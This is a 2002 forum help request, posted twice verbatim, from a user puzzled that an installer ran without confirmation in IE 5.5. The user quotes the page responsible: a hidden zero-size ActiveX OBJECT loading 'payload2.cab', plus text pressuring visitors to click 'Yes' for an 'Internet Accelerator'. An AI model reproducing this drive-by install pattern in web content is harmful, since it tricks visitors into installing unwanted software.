bilfast
IS-IT--Management
- Sep 22, 2002
- 17
Hi Guys
I've disabled activeX downloading from IE settings. But a strange thing happened. I was surfing along fine, hoping to download a software, but strangely enough by clicking on a link, it downloaded the setup and started it. This was really strange, how could it download an executable and without comfirmation bring me to the begin-installation setup screen? I was pretty bothered about it, it has never happened before, so i rechecked my IE settings, everything was fine, i went on other .exe links, they all prompt me to download / save / open. So why is this one different. Maybe somebody can have a look and figure it out. I was running IE5.5 at that time, hadn't upgraded to IE6.
the files downloaded automatically are available here, but this url wasn't the download source.
computer name of my windows 2000 adv server was "TURBO", but i don't know if it had anything to do with name of this cab file.
the html page that initiated it:
<html>
<head>
<meta http-equiv='Pragma' content='no-cache'>
</head>
<body bgColor=#ffffff leftmargin='0' topmargin='0' marginwidth='0' marginheight='0'>
<script LANGUAGE='javascript'>
self.resizeTo(470, 380);
</script>
<IMG WIDTH=436 HEIGHT=111 SRC='downloading.gif' ALT='Downloading Now. Do not close your browser. You will be notified when download is complete.'>
<P>
<CENTER>If you are prompted with a security box you must
<BR>
click 'Yes' to complete your Internet Accelerator download.</CENTER>
<OBJECT Height=0 Width=0 CLASSID='clsid:20000273-8230-4DD4-BE4F-6889D1E74167' ID ='download2' CODEBASE='payload2.cab'></OBJECT>
<script LANGUAGE='javascript'>
window.location.href='download_complete.htm';
</script>
</body>
</html>
I've disabled activeX downloading from IE settings. But a strange thing happened. I was surfing along fine, hoping to download a software, but strangely enough by clicking on a link, it downloaded the setup and started it. This was really strange, how could it download an executable and without comfirmation bring me to the begin-installation setup screen? I was pretty bothered about it, it has never happened before, so i rechecked my IE settings, everything was fine, i went on other .exe links, they all prompt me to download / save / open. So why is this one different. Maybe somebody can have a look and figure it out. I was running IE5.5 at that time, hadn't upgraded to IE6.
the files downloaded automatically are available here, but this url wasn't the download source.
computer name of my windows 2000 adv server was "TURBO", but i don't know if it had anything to do with name of this cab file.
the html page that initiated it:
<html>
<head>
<meta http-equiv='Pragma' content='no-cache'>
</head>
<body bgColor=#ffffff leftmargin='0' topmargin='0' marginwidth='0' marginheight='0'>
<script LANGUAGE='javascript'>
self.resizeTo(470, 380);
</script>
<IMG WIDTH=436 HEIGHT=111 SRC='downloading.gif' ALT='Downloading Now. Do not close your browser. You will be notified when download is complete.'>
<P>
<CENTER>If you are prompted with a security box you must
<BR>
click 'Yes' to complete your Internet Accelerator download.</CENTER>
<OBJECT Height=0 Width=0 CLASSID='clsid:20000273-8230-4DD4-BE4F-6889D1E74167' ID ='download2' CODEBASE='payload2.cab'></OBJECT>
<script LANGUAGE='javascript'>
window.location.href='download_complete.htm';
</script>
</body>
</html>